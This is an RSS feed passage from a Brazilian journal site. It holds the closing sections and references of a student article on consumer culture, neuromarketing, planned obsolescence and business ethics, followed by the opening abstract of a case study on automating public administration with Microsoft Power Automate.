<p class="wp-block-paragraph">Além disso, o consumo também passou a assumir a forma de linguagem a qual os grupos sociais poderiam manifestar seus valores, aspirações e modos de vida.&nbsp;</p>



<p class="wp-block-paragraph">Criou-se um cenário no qual as marcas dominam e moldam à maneira de ser do sujeito. Neste cenário a mídia e a publicidade criaram versões idealizadas da realidade, como argumenta Jean Baudrillard (1995) que na sociedade do consumo as pessoas não consomem apenas objetos pela sua utilidade, mas sim pelos significados e valores simbólicos que esses objetos possuem.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Um exemplo claro desse fenômeno pode ser observado em um consumidor comum, quando sai de casa para adquirir um novo aparelho de telefone celular. Analisando pela praticidade da compra, ele poderia simplesmente comprar um aparelho que lhe atendesse às suas necessidades básicas, tais como realizar chamadas, mandar mensagens de texto, navegar pela internet, responder e-mails e gerir aplicativos básicos. Entretanto, o que ocorre, na maioria das vezes, é uma escolha além das funções práticas, na qual o objeto não é escolhido apenas pela funcionalidade. Ao optar por um telefone celular da Apple, por exemplo, o que está em jogo não é somente a qualidade técnica do produto, mas o que ele simboliza socialmente.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A marca, nesse caso, como afirma Baudrillard<sup>11</sup> (1995) representa mais do que um dispositivo eletrônico, ela comunica o pertencimento a um determinado grupo, transmite prestígio e reforça uma identidade. O consumidor não compra apenas um aparelho de telefone celular, mas, mais do que isso, compra também o status e o reconhecimento que o acompanham.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Entramos numa época em que o fenômeno grupal se caracteriza pela abertura, pela flexibilidade, pelo transitório. Os grupos indicam uma autonomia que, sem ser absoluta, permite a adoção do conveniente a cada um, sem obrigação mimética e com maleabilidade. Assim, onde muitos enxergam manipulação e conformismo, pode-se encontrar satisfação, jogo e gosto pela estetização. O consumidor seduzido pela publicidade não é um enganado, mas um encantado. Em síntese, alguém que acolhe uma proposição estetizada. Repito minha fórmula da época: a publicidade funciona como cosmético da comunicação. (LIPOVETSKY, 2000)<sup>12</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">As marcas passaram a funcionar como um mecanismo na criação de desejos&nbsp;&nbsp; exercendo papel central na construção da imagem do indivíduo, oferecendo não apenas produtos, mas, para além disso, estilos de vida, representações ideais de sucesso, poder e distinção social.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em resumo, o consumo deixou de ser uma simples relação entre o consumidor e o produto e passou a adotar o papel de expressão social e de construção de identidade. As marcas passaram a definir status, estilos de vida e pertencimento. Diante disso, compreender essas estratégias usadas pelas empresas torna-se essencial para entender o funcionamento da indústria e o comportamento do consumidor contemporâneo.</p>



<p class="wp-block-paragraph"><strong>3. Estratégias das Empresas para Criar e Moldar as Necessidades</strong></p>



<p class="wp-block-paragraph"><strong>3.1 O Desejo como Produto: A Lógica da Criação de Necessidades</strong></p>



<p class="wp-block-paragraph">A partir do século XX, as estratégias usadas pelas empresas se tornaram cada vez mais sofisticadas, explorando os limites entre o desejo e os impulsos inconscientes dos consumidores. É o que ressalta Lindstrom<sup>13</sup> (2017), especialista em <em>branding<sup>14</sup>,</em> que no ano de 2004 iniciou a maior pesquisa de neuromarketing da época, a qual levou três anos para ser concluída.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa reuniu centenas de fumantes de todas as partes do mundo, que foram submetidos a questionários de perguntas e respostas com o seguinte objetivo: avaliar se as imagens estampadas em pacotes de cigarros poderiam incentivá-los a reduzir a quantidade de cigarros consumidos por dia.</p>



<p class="wp-block-paragraph">É amplamente constatado por quase todos os fumantes que as imagens que estampam os maços de cigarros são um tanto quanto desconfortáveis e é comum ver nesses maços de cigarro ilustrações de pulmões com câncer, dentes em decomposições acompanhadas de câncer bucal, pés em estado de necrose e outras cenas desse tipo. Essas imagens são propositalmente impactantes e desagradáveis. Sendo, portanto, importante destacar que sua inclusão não é uma iniciativa estratégica das empresas, porém uma determinação legal exigida por órgãos de saúde pública, com a intenção de trazer um alerta sobre os riscos do tabagismo.</p>



<p class="wp-block-paragraph">Em sua pesquisa, Lindstrom (2017) constatou ao analisar as respostas dadas pelos entrevistados que aqueles fumantes subconscientemente pensavam que as imagens de advertência contribuíam para que eles reduzissem o consumo de cigarros durante o dia.</p>



<p class="wp-block-paragraph">No entanto, ao serem submetidos ao exame de ressonância magnética para que fosse analisado o comportamento cerebral, os entrevistados surpreenderam a equipe com os resultados obtidos nos testes. Assim, ao serem expostos a imagens contidas em maços de cigarro, foi percebido que aquelas imagens ativavam áreas do cérebro associadas ao prazer e ao desejo, fazendo com que os fumantes não só não diminuíam o desejo de fumar pela exposição às imagens, mas pelo contrário, as imagens aumentavam o interesse deles.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Em suma, os resultados do IRMF mostram que as imagens de advertência sobre cigarros não apenas fracassavam em desestimular o fumo, mas ao ativarem o <em>nucleus accumbens, </em>aparentemente encorajavam os fumantes a acender um cigarro. Não podemos deixar de concluir que aquelas mesmas imagens de advertência sobre cigarros que visavam limitar o fumo, reduzir a incidência de câncer e salvar vidas haviam, pelo contrário, se tornando um assustador instrumento de marketing, para a indústria do tabaco. (LINDSTROM, 2017)<sup>15</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">&nbsp;A partir dessa lógica é possível perceber que o desejo não opera em uma lógica simplesmente racional e sim sobre o emocional e o inconsciente. Percebe-se a partir da pesquisa feita por Lindstrom (2017) que o consumidor ao fazer a compra de um determinado produto é orientado por estímulos subjetivos e simbólicos que tocam o inconsciente desse indivíduo.</p>



<p class="wp-block-paragraph">Segundo Lindstrom (2017) as empresas usando os meios de marketing e publicidade também exploram outros pontos além dos estímulos subjetivos. De acordo com o autor, elas costumam usar rituais de consumo e neurônios-espelho, como formas de persuasão, a fim de induzir o desejo de compra nos consumidores.&nbsp;</p>



<p class="wp-block-paragraph">Um simples mergulhar de biscoito no leite, repetidas vezes, exibido em comerciais de televisão pode criar familiaridade com o produto, esse gesto pode levar o consumidor a comprar o produto e a repetir o mesmo gesto em casa. Tal mecanismo usado pela indústria provoca a personalização do produto, colaborando para que certas áreas do cérebro sejam ativadas e causem a sensação de recompensa e de segurança.</p>



<p class="wp-block-paragraph">Nesta mesma linha, Lindstrom (2017) destaca que os neurônios-espelho funcionam como uma experiência emocional, que acontece quando assistimos alguém em um comercial de televisão ou quando vemos aqueles enormes banners estampados em prédios ou em fachadas de lojas, apresentando alguém usando determinada marca de roupa, ou algum perfume da moda. A ideia desenvolvida pelo especialista em neuromarketing é a de que os neurônios-espelho nos fazem sentir o mesmo prazer que aquela celebridade está sentindo naquele momento, enquanto usa ou consome determinado produto. É como se o indivíduo estivesse de alguma forma vivenciando a mesma experiência e, portanto, essa simulação aumenta o desejo de compra do sujeito.</p>



<p class="wp-block-paragraph"><strong>3.2 Obsolescência Programadas: Feito para não Durar&nbsp;</strong></p>



<p class="wp-block-paragraph">Outra estratégia utilizada pela indústria que é bastante conhecida no mundo atual é a obsolescência programada. Embora esse conceito pareça novo, Boito<sup>16</sup> (2022) explica que a estratégia não é recente, tendo o conceito, por conseguinte, surgido nos Estados Unidos na década de 1930. À época, o país sofrera com a grande depressão de 1929, o que culminou em um índice altíssimo de desemprego e queda elevada da economia.</p>



<p class="wp-block-paragraph">Diante desse cenário, a obsolescência programada surgia como uma estratégia de combate à crise que assolava os Norte Americanos. A ideia em questão era diminuir o ciclo de vida dos produtos a fim de aquecer a economia, pois ao tornar o ciclo de vida do produto menor, consequentemente contribuiria para que o consumidor buscasse a aquisição de um novo produto, portanto, essa estratégia moveria o consumo fazendo girar a economia. Logo, essa renovação constante da demanda teria como consequência o aumento da produção industrial e a geração de empregos, ajudando a movimentar novamente os fluxos da economia.</p>



<p class="wp-block-paragraph">Nos dias de hoje, é bastante comum encontrar exemplos de obsolescência programada em produtos eletrônicos. É o que afirma Slade (2006) , autor do livro (<em>Make to Break</em>). Segundo o autor, o capitalismo é o principal articulador desse tipo de prática.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Vivemos um modelo de capitalismo baseado no consumo repetitivo. Movemos as engrenagens da indústria ao continuamente produzirmos coisas novas. Os fabricantes enxergam isso como uma forma de ficar muito ricos, fazendo crescer seu poder, influência e seus recursos econômicos e fiscais. Obviamente, é muito fácil criar uma máquina que perdure. O Mars Rover [veículo explorador de Marte], por exemplo, foi pensado para durar três anos. Mas, como não sabiam quais seriam as condições da superfície de Marte, estenderam esse período de forma tremenda. Ele já existe há 20 anos e continua andando. (SLADE, 2006, <em>apud </em>NEIVA, 2021)<sup>17</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">Em sua essência, esse mecanismo usado pelas empresas contribui para a renovação constante de produtos, criando no consumidor a necessidade de compra. Slade (2006, <em>apud </em>NEIVA, 2021) ressalta que algumas empresas como a Apple, por exemplo, não dão ao consumidor o direito de consertar o produto danificado. De acordo com ele, a empresa cria formas sofisticadas e únicas na constituição das peças que compõem o seu produto, o que dificulta o reparo do objeto pelo consumidor do item danificado, sendo necessário, na maioria das vezes, submeter o item estragado a um técnico especializado da Apple. Além de todo esse encargo, é adicionada ao custo do reparo a compra de materiais específicos para o conserto, pois a Apple desenvolveu produtos que necessitam de ferramentas específicas para o reparo, como uma chave de fenda que apenas funciona em produtos Apple.</p>



<p class="wp-block-paragraph">Assim, a obsolescência programada se apresenta não apenas como uma estratégia empresarial voltada para o consumo, mas também como artifício estrutural da indústria capitalista contemporânea, que tem como base a persuasão do consumidor para a troca constante de bens e produtos. Essa técnica mais do que afetar negativamente a autoestima do indivíduo, fazendo-o consumir compulsivamente mais e mais, sentindo-se sempre insatisfeito com aquilo que já possui e sempre ansiando pela próxima novidade tende a afetar significativamente o modo como esses indivíduos se relacionam.</p>



<p class="wp-block-paragraph">Dessa forma, Slade (2006, <em>apud </em>NEIVA, 2021) pontua que esse comportamento induzido pela obsolescência programada não reflete apenas nos hábitos de consumo, mas vai além disso, pois o indivíduo ao ser afetado por essa prática de consumo criada pela indústria se inclina a externar isso em seus relacionamentos pessoais.</p>



<p class="wp-block-paragraph">Logo, o afeto passa a estar associado à lógica de consumo. E, portanto, as amizades, os vínculos familiares e os relacionamentos se voltam para a lógica do desempenho. Ou seja, se determinada pessoa ou amigo com o qual nos relacionamos não se comporta ou desempenha o papel que esperamos que ele exerça, nós rapidamente o dispensamos e buscamos novos afetos.</p>



<p class="wp-block-paragraph">É o que Bauman (2006) chama de sociedade líquida, que segundo ele rege as formas de relacionamentos da modernidade. O termo líquido foi desenvolvido pelo autor como uma metáfora da expressão pós-moderno. Nesse contexto, na sociedade líquida não há espaço para relacionamentos sólidos, consistentes ou duradouros. Portanto, na perspectiva do sociólogo essa sociedade é marcada pelo efêmero, pelo transitório e fugaz.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Condições econômicas e sociais precárias treinam homens e mulheres (ou os fazem aprender pelo caminho mais difícil) a perceber o mundo como um contêiner cheio de objetos descartáveis, objetos para uma só utilização; o mundo inteiro — inclusive outros seres humanos. Além disso, o mundo parece ser constituído de “caixas-pretas”, hermeticamente fechadas, e que jamais deverão ser abertas pelos usuários, nem consertadas quando quebram. Os mecânicos de automóveis de hoje não são treinados para consertar motores quebrados ou danificados, mas apenas para retirar e jogar fora as peças usadas ou defeituosas e substituí-las por outras novas e seladas, diretamente da prateleira. Eles não têm a menor ideia da estrutura interna das “peças sobressalentes” (uma expressão que diz tudo), do modo misterioso como funcionam; não consideram esse entendimento e a habilidade que o acompanha como sua responsabilidade ou como parte de seu campo de competência. Como na oficina mecânica, assim também na vida em geral: cada “peça” é “sobressalente” e substituível, e assim deve ser. Por que gastar tempo com consertos que consomem trabalho, se não é preciso mais que alguns momentos para jogar fora a peça danificada e colocar outra em seu lugar? (BAUMAN, pag.152, 2001)<sup>18</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">Assim, analisando o conceito de Bauman (2006) nota-se que a sociedade pós-moderna é caracterizada pelo consumo. Logo, tudo se torna descartável, desde peças e acessórios a amores e afetos. Nessa sociedade não há espaço para consertar relacionamentos ou reparar laços, pois essa sociedade é marcada pelo novo, sendo assim é mais fácil substituí-los e dar lugar a novos afetos.</p>



<p class="wp-block-paragraph"><strong>3.3 Impactos Ambientais do Descarte </strong></p>



<p class="wp-block-paragraph">Outra importante questão é o impacto que os hábitos de consumo provocam ao meio ambiente, pois o constante descarte de produtos em bom estado, mas tido pelos seus consumidores como obsoletos, agride significativamente o meio ambiente.</p>



<p class="wp-block-paragraph">Dessa forma, como menciona Leonard (2007), autora de “A história das coisas”, que dedicou anos viajando por várias partes do mundo em busca de entender o funcionamento da cadeia produtiva industrial e estudando o que acontece com os bens de consumo, desde o começo de sua produção até o fim do ciclo de vida do produto. Leonard (2007) Chama a atenção para preocupação com a finitude do planeta.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Se não reavaliarmos os sistemas de produção e extração e não modificarmos a forma como distribuímos, consumimos e descartamos nossas coisas — modelo que eu chamo de extrair-fazer-descartar — o ritmo da economia matará o planeta. Sei que é tentador se alienar, desistir e se resignar. Uma amiga me disse que, ao ler notícias sobre a ameaça à vida no planeta, tem vontade de sair e fazer compras, porque é um alívio preocupar-se se seus sapatos combinam com a sua bolsa. Mas a questão é: não temos escolha (LEONARD, pag.11, 2011)<sup>19</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">Sendo assim, Leonard (2007) afirma que esse sistema de produção desenfreado induzido pelas indústrias que têm como base principal a extração de recursos materiais, para a produção de bens e produtos, que ela chama de máquinas de extrair, fazer, consumir e descartar pode trazer para o futuro do globo consequências irreparáveis. Leonard (2007) alerta que esse modelo consumista contemporâneo é insustentável, pois é movido por estratégias que incentivam a substituição constante de bens e produtos, mesmo que ainda estejam em perfeito estado de funcionamento.&nbsp;</p>



<p class="wp-block-paragraph">Partindo dessa perspectiva, o descarte de resíduos sólidos gera o acúmulo de lixo no meio ambiente, trazendo enormes prejuízos para o ecossistema, visto que nem todos os produtos são recicláveis e os que são recicláveis nem sempre são devidamente descartados.</p>



<p class="wp-block-paragraph">A autora chega a afirmar que somente os Norte Americanos chegam a consumir cerca de 30% dos recursos naturais da terra, e que o padrão de consumo dos europeus também não está longe disso. Ou seja, se os países Sul-Americanos, africanos e asiáticos adotarem o mesmo padrão de consumo, certamente não haverá recursos para todas as espécies de vida da Terra.</p>



<p class="wp-block-paragraph">Assim, como alertam Slade (2006, <em>apud </em>NEIVA, 2021) e Annie Leonard (2007), trata-se de um ciclo de produção e descarte que compromete não apenas a saúde mental e emocional dos indivíduos, mas também a sustentabilidade dos ecossistemas. Nesse contexto, a criação de necessidades pelas indústrias vai além do consumo de objetos, mas também afeta valores, as relações humanas e o equilíbrio ecológico do globo terrestre.</p>



<p class="wp-block-paragraph"><strong>3.4 Impactos Éticos do Consumo Induzido </strong></p>



<p class="wp-block-paragraph">No cenário atual, a concorrência entre as empresas está cada vez mais acirrada. A intensa disputa por fatias de mercado, o cumprimento de metas agressivas e a busca incessante por lucros elevados levaram muitas organizações a colocarem a ética em segundo plano. Nessa lógica, o que importa é performar economicamente, mesmo que isso implique práticas questionáveis ​​do ponto de vista moral.</p>



<p class="wp-block-paragraph">O professor de ética Barros Filho (2015) destaca que a ética não está reservada a um mundo ideal ou perfeito. Diferentemente disso, no entanto, Barros Filho (2015) elabora que a ética acontece no mundo real, nas imperfeições da vida cotidiana, sendo um esforço coletivo para tornar a convivência social mais justa, equilibrada e respeitosa.</p>



<p class="wp-block-paragraph">Ainda, segundo Barros Filho (2015), a ética não se baseia em um manual pronto, muito mesmo em uma tabela de valores organizada hierarquicamente. Pois é justamente o oposto. Para ele não existe classificação fixa entre os valores, nem se pode estabelecer qual deles vale mais ou menos em todas as situações do cotidiano. Portanto, a ética é um exercício contínuo de reflexão e construção coletiva, sendo assim um processo que envolve o uso da razão, do diálogo e da empatia para criar formas de convivência que respeitem a dignidade humana.</p>



<p class="wp-block-paragraph">Em sua visão, ser ético é considerar a complexidade das relações humanas e estar disposto a deliberar, ponderar e decidir com responsabilidade diante dos conflitos que surgem. Nesse sentido, a ética não deve ser entendida como um objetivo final, mas uma prática cotidiana que exige sensibilidade, consciência e compromisso com o outro.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A ética é a inteligência compartilhada a serviço do aperfeiçoamento da convivência com todas as condições materiais que são as nossas. Se formos esperar uma sociedade ideal para que a ética possa existir, é possível que ela não venha a existir nunca. Então, considero fundamental essa contextualização da vida e a ideia de que a ética é um saber prático. Como professor de ética, quase sempre sou criticado: “O seu curso é muito teórico”. Não diga essa bobagem! Teórico é o marketing, ou você já viu cinco Ps descendo de uma árvore? A ética é o saber&#8230; Eu diria mais: não há saber mais prático, no sentido de estar voltado à conduta, do que a ética. (Cortella, M. S. e Barros Filho, p.25, 2015)<sup>20</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">Neste cenário, a exploração do consumo pelas empresas não é uma decisão neutra, pois no campo da ética não há espaço para neutralidade.&nbsp;</p>



<p class="wp-block-paragraph">Portanto, quando as empresas optam por usar estratégias de persuasão, obsolescência programada, rituais de consumo e tantas outras, elas agem deliberadamente sem ética<strong>, </strong>pois essa postura não apenas compromete a autoestima e a autonomia dos indivíduos, como também gera impactos sociais e ambientais.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse contexto, ser ético é considerar que toda decisão de uma empresa é, antes de tudo, uma escolha moral, que envolve responsabilidade com o outro e com o mundo em que vivemos.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>Considerações Finais</strong></p>



<p class="wp-block-paragraph">Inicialmente, esse trabalho buscou demonstrar como as empresas se utilizam de meios estratégicos muito bem sofisticados e bem elaborados para moldar e criar necessidades nos consumidores, portanto, com isso elas induzem o consumo para além das necessidades do sujeito. Logo, percebe-se, a partir dos hábitos históricos do consumo, que o consumo deixou de ser apenas uma necessidade básica e se tornou um dos principais fundamentos na identidade dos indivíduos.</p>



<p class="wp-block-paragraph">Por conseguinte, esse estudo buscou demonstrar que os interesses do mercado interferem significativamente tanto nas escolhas individuais quanto nas escolhas coletivas e que práticas comumente usada pelas empresas tais como obsolescência programada, o neuromarketing e suas manipulações emocionais não apenas contribuem para venda de produtos, mas moldam a forma com que os indivíduos vivem e interagem com o mundo.</p>



<p class="wp-block-paragraph">Por fim, mais do que criticar o consumo em si, esse artigo propõe uma reflexão sobre como e porque consumimos, pois muitas vezes isso impacta dimensões éticas profundas como a liberdade, a dignidade e a autonomia dos consumidores. Como refletido ao longo do texto, a ética não é um ideal inalcançável, mas uma prática que exige responsabilidade, empatia e deliberação, especialmente em contextos onde a lógica do lucro tende a desumanizar as relações.</p>



<p class="wp-block-paragraph">Assim, pensar o consumo de maneira crítica não significa rejeitá-lo, mas sim transformá-lo em um ato mais consciente, justo e sustentável. Cabe às empresas repensarem as suas estratégias, e aos consumidores ponderarem o poder que têm ao escolher, recusar ou questionar o que lhes é oferecido. O futuro do consumo depende do despertar ético que possa guiar nossas escolhas, como indivíduos e como sociedade.</p>



<hr class="wp-block-separator alignwide has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><sup>3</sup>BAUMAN, Zygmunt. Vida para Consumo: A transformação das pessoas em mercadoria. Rio de Janeiro: Zahar, 2008, p.13.</p>



<p class="wp-block-paragraph"><sup>4</sup>SLATER, Don. Cultura do Consumo e Modernidade. São Paulo: Nobel, 2001, p.12.</p>



<p class="wp-block-paragraph"><sup>5</sup>HOBSBAWM, Eric. A era das revoluções: Europa, 1789-1848. Rio de Janeiro: Paz e Terra, 2013, pg.28.</p>



<p class="wp-block-paragraph"><sup>6</sup>HOBSBAWM, Eric. A era das revoluções: Europa, 1789-1848. Rio de Janeiro: Paz e Terra, 2013, pg.83.</p>



<p class="wp-block-paragraph"><sup>7</sup>HOBSBAWM, Eric. A era das revoluções: Europa, 1789-1848. Rio de Janeiro: Paz e Terra, 2013, pg.51.</p>



<p class="wp-block-paragraph"><sup>8</sup>BAUMAN, Zygmunt. Vida para Consumo: A transformação das pessoas em mercadoria. Rio de Janeiro: Zahar, 2008, p.24.</p>



<p class="wp-block-paragraph"><sup>9</sup>DA SILVA, Maria Beatriz Oliveira; FLAIN, Valdirene Silveira. Capitalismo e consumismo: os desafios do consumo sustentável na sociedade contemporânea. <em>Revista da AJURIS</em>, v. 143, pág. 357-378, 2017.</p>



<p class="wp-block-paragraph"><sup>10</sup>MCCRACKEN, Grant. Cultura e Consumo. Rio de Janeiro: Mauad X, 2015, pg.14.</p>



<p class="wp-block-paragraph"><sup>11</sup>BAUDRILLARD, Jean. A sociedade de consumo: suas mitologias e estruturas. Lisboa: Edições 70, 1995.</p>



<p class="wp-block-paragraph"><sup>12</sup>GILLES, Lipovetsky. <em>Sedução, publicidade e pós-modernidade</em>. Revista Famecos, v. 12, pág. 13-07, 2000.</p>



<p class="wp-block-paragraph"><sup>13</sup>LINDSTROM, Martin. <em>A lógica do consumo</em>: verdade e mentiras sobre o porque compramos. São Paulo: Harper Collins Brasil, 2017, pg 17.</p>



<p class="wp-block-paragraph"><sup>14</sup>O <em>branding</em> é a gestão estratégica de marca, envolvendo ações planejadas para promover a marca de modo a torná-la mais desejada, relevante e positiva na mente das pessoas.&nbsp;Trecho adaptado de OLIVEIRA, Aline. <em>O que é branding e como agir com foco no consumidor?</em> Mind Miners Blog, 24 jun. 2022. Disponível em: <a href="https://mindminers.com/blog/o-que-e-branding-e-como-agir-com-foco-no-consumidor/?utm_source=chatgpt.com">https://mindminers.com/blog/o-que-e-branding-e-como-agir-com-foco-no-consumidor/</a>. Acesso em: 21 out. 2025.</p>



<p class="wp-block-paragraph"><sup>15</sup>Vide nota 14</p>



<p class="wp-block-paragraph"><sup>16</sup>BOITO, Francieli. <em>Obsolescência tecnológica programada e desenvolvimento: os instrumentos regionais de superação.</em> 1. ed. São Paulo: Editora Dialética, 2022. Disponível em: <a href="https://elibro.net/pt/lc/cesg/titulos/262607">https://elibro.net/pt/lc/cesg/titulos/262607</a>. Acesso em: 22 out. 2025.</p>



<p class="wp-block-paragraph"><sup>17</sup>NEIVA, Leonardo. ‘O modelo de capitalismo que desenvolvemos é essencialmente desumano’. UOL. 29 agosto 2021. Disponível em: <a href="https://gamarevista.uol.com.br/semana/o-que-e-descartavel/giles-slade-capitalismo-desumano/">https://gamarevista.uol.com.br/semana/o-que-e-descartavel/giles-slade-capitalismo-desumano/</a>. Acesso em: 20 maio 2025.</p>



<p class="wp-block-paragraph"><sup>18</sup>BAUMAN, Zygmunt. Modernidade líquida. Rio de Janeiro: Zahar, 2001, p. 152.</p>



<p class="wp-block-paragraph"><sup>19</sup>LEONARD, Annie. <em>A história das coisas: da natureza ao lixo, o que acontece com tudo que consumimos</em>. São Paulo: Companhia das Letras, 2011, pg.11.</p>



<p class="wp-block-paragraph"><sup>20</sup>CORTELLA, M. S. ; BARROS FILHO, C. D.&nbsp;<strong>Ética e vergonha na cara!</strong>. 1. ed. Campinas, SP: Bookwire &#8211; Papirus Editora, 2015. 85 p. Disponível em: https://elibro.net/pt/ereader/cesg/244848?page=25. Recuperado de: 15 Jul 2025.</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>Referências</strong></p>



<p class="wp-block-paragraph">BAUDRILLARD, Jean. <em>A sociedade de consumo: suas mitologias e estruturas.</em> Lisboa: Edições 70, 1995.</p>



<p class="wp-block-paragraph">BAUMAN, Zygmunt. <em>Modernidade líquida.</em> Rio de Janeiro: Zahar, 2001.</p>



<p class="wp-block-paragraph">BAUMAN, Zygmunt. <em>Vida para consumo: a transformação das pessoas em mercadoria.</em> Rio de Janeiro: Zahar, 2008.</p>



<p class="wp-block-paragraph">BOITO, F. <em>Obsolescência tecnológica programada e desenvolvimento: os instrumentos regionais de superação.</em> 1. ed. [S. l.]: Bookwire – Editora Dialética, 2022. 88 p. Disponível em: <a href="https://elibro.net/pt/lc/cesg/titulos/262607">https://elibro.net/pt/lc/cesg/titulos/262607</a>. Acesso em: 22 out. 2025.</p>



<p class="wp-block-paragraph">CORTELLA, Mário Sérgio; BARROS FILHO, Clóvis de. <em>Ética e vergonha na cara!</em> Campinas, SP: Papirus, 2015. Disponível em: <a href="https://elibro.net/pt/ereader/cesg/244848?page=25">https://elibro.net/pt/ereader/cesg/244848?page=25</a>. Acesso em: 22 out. 2025.</p>



<p class="wp-block-paragraph">DA SILVA, Maria Beatriz Oliveira; FLAIN, Valdirene Silveira. Capitalismo e consumismo: os desafios do consumo sustentável na sociedade contemporânea. <em>Revista da AJURIS</em>, v. 143, p. 357–378, 2017.</p>



<p class="wp-block-paragraph">HOBSBAWM, Eric. <em>A era das revoluções: Europa, 1789–1848.</em> Rio de Janeiro: Paz e Terra, 2013.</p>



<p class="wp-block-paragraph">LEONARD, Annie. <em>A história das coisas: da natureza ao lixo, o que acontece com tudo que consumimos.</em> São Paulo: Companhia das Letras, 2011.</p>



<p class="wp-block-paragraph">LINDSTROM, Martin. <em>A lógica do consumo: verdades e mentiras sobre o porquê compramos.</em> São Paulo: HarperCollins Brasil, 2017.</p>



<p class="wp-block-paragraph">LIPOVETSKY, Gilles. Sedução, publicidade e pós-modernidade. <em>Revista Famecos</em>, v. 12, p. 13–27, 2000.</p>



<p class="wp-block-paragraph">MCCRACKEN, Grant. <em>Cultura e consumo.</em> Rio de Janeiro: Mauad X, 2015.</p>



<p class="wp-block-paragraph">NEIVA, Leonardo. “O modelo de capitalismo que desenvolvemos é essencialmente desumano”. <em>UOL – Gama Revista</em>, 29 ago. 2021. Disponível em: <a href="https://gamarevista.uol.com.br/semana/o-que-e-descartavel/giles-slade-capitalismo-desumano/">https://gamarevista.uol.com.br/semana/o-que-e-descartavel/giles-slade-capitalismo-desumano/</a>. Acesso em: 20 maio 2025.</p>



<p class="wp-block-paragraph">OLIVEIRA, Aline. O que é branding e como agir com foco no consumidor? <em>Mind Miners Blog</em>, 24 jun. 2022. Disponível em: <a href="https://mindminers.com/blog/o-que-e-branding-e-como-agir-com-foco-no-consumidor/">https://mindminers.com/blog/o-que-e-branding-e-como-agir-com-foco-no-consumidor/</a>. Acesso em: 21 out. 2025.</p>



<p class="wp-block-paragraph">SLATER, Don. <em>Cultura do consumo e modernidade.</em> São Paulo: Nobel, 2001.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discentes do Curso Superior de Administração do Centro de Ensino Superior de São Gotardo. e-mail: <a href="mailto:marleypalio.200@gmail.com">marleypalio.200@gmail.com</a>; <a href="mailto:italoartevisual@gmail.com">italoartevisual@gmail.com</a><br><sup>2</sup>Docente do Curso Superior de Administração do Centro de Ensino Superior de São Gotardo. e-mail: <a href="mailto:leonarcf@gmail.com">leonarcf@gmail.com</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>UM ESTUDO DE CASO: REDUÇÃO DA BUROCRACIA UTILIZANDO AUTOMATIZAÇÕES DA MICROSOFT POWER AUTOMATE</title>
		<link>https://revistaft.com.br/um-estudo-de-caso-reducao-da-burocracia-utilizando-automatizacoes-da-microsoft-power-automate/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 09 Oct 2025 19:32:40 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 - Edição 151/OUT 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=238445</guid>

					<description><![CDATA[A CASE STUDY: REDUCING BUREAUCRACY USING MICROSOFT POWER AUTOMATE AUTOMATIONS REGISTRO DOI: 10.69849/revistaft/cl10202510091630 Alessandro Queiroz Lencina1Marco Aurélio Batista de Sousa2 RESUMO Atualmente com o aumento significativo das fiscalizações, juntamente com a redução do número de servidores nos serviços públicos, a adoção de soluções automatizadas para agilizar os processos burocráticos mostra-se não apenas oportuna mas imprescindível [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">A CASE STUDY: REDUCING BUREAUCRACY USING MICROSOFT POWER AUTOMATE AUTOMATIONS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202510091630</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Alessandro Queiroz Lencina<sup>1</sup><br>Marco Aurélio Batista de Sousa<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Atualmente com o aumento significativo das fiscalizações, juntamente com a redução do número de servidores nos serviços públicos, a adoção de soluções automatizadas para agilizar os processos burocráticos mostra-se não apenas oportuna mas imprescindível para eficiência da administração pública, como diz o ditado popular: “mais com menos”. A digitalização dos processos e a evolução das ferramentas digitais explica o porquê devemos introduzir a automatização no ambiente público, de forma estratégica e fundamental para otimização de tempo e produção. Entre essas soluções existem maneiras, inclusive gratuitas, com a proposta de facilitar a construção de fluxos de tarefas repetitivas, como a <em>Power Plataform </em>da <em>Microsoft </em>que consegue gerar fluxos personalizados com suas aplicações, de forma que, as tarefas executadas à exaustão, o aplicativo fará de modo automático.&nbsp;</p>



